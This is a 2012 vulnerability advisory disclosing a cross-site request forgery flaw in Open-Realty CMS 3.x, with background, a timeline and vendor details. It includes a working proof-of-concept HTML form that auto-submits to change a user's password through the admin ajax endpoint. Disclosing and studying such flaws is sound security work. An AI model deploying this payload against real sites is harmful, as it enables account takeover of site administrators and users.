Open-Realty CMS 3.x Cross Site Request Forgery

`1. OVERVIEW  
  
Open-Realty CMS 3.x versions are vulnerable to Cross Site Request Forgery.  
  
  
2. BACKGROUND  
  
Open-Realty is the world's leading real estate listing marketing and  
management CMS application, and has enjoyed being the real estate web  
site software of choice for professional web site developers since  
2002.  
  
  
3. VULNERABILITY DESCRIPTION  
  
Open-Realty 3.x versions contain a flaw that allows a remote  
Cross-site Request Forgery (CSRF / XSRF) attack. The flaw exists  
because the application does not require multiple steps or explicit  
confirmation for sensitive transactions for majority of administrator  
functions such as adding new user, assigning user to administrative  
privilege. By using a crafted URL, an attacker may trick the victim  
into visiting to his web page to take advantage of the trust  
relationship between the authenticated victim and the application.  
Such an attack could trick the victim into executing arbitrary  
commands in the context of their session with the application, without  
further prompting or verification.  
  
  
4. VERSIONS AFFECTED  
  
3.x  
  
  
5. PROOF-OF-CONCEPT/EXPLOIT  
  
<!-- Change Password -->  
<form action="http://127.0.0.1/admin/ajax.php?action=ajax_update_user_data"  
method="POST">  
<input type="hidden" name="user_id" value="2" />  
<input type="hidden" name="user_first_name" value="Well" />  
<input type="hidden" name="user_last_name" value="Smith" />  
<input type="hidden" name="user_email" value="[email protected]" />  
<input type="hidden" name="phone" value="123456789" />  
<input type="hidden" name="mobile" value="9151403793" />  
<input type="hidden" name="fax" value="" />  
<input type="hidden" name="homepage" value="http://yehg.net" />  
<input type="hidden" name="info" value="test" />  
<input type="hidden" name="edit_user_pass" value="agent" />  
<input type="hidden" name="edit_user_pass2" value="agent" />  
<input type="submit" value="Submit form" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
  
  
6. SOLUTION  
  
The vendor has not responded to the report since 2012-11-17.  
It is recommended that an alternate software package be used in its place.  
  
  
7. VENDOR  
  
Transparent Technologies Inc.  
http://www.transparent-support.com  
  
  
8. CREDIT  
  
Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.  
  
  
9. DISCLOSURE TIME-LINE  
  
2012-11-17: Vulnerability Reported  
2012-12-25: Vulnerability Disclosed  
  
  
10. REFERENCES  
  
Original Advisory URL:  
http://yehg.net/lab/pr0js/advisories/%5Bopen-realty_3.x%5D_csrf  
Open-Realty Home Page: http://www.open-realty.org/  
  
  
#yehg [2012-12-25]  
  
---------------------------------  
Best regards,  
YGN Ethical Hacker Group  
Yangon, Myanmar  
http://yehg.net  
Our Lab | http://yehg.net/lab  
Our Directory | http://yehg.net/hwd  
`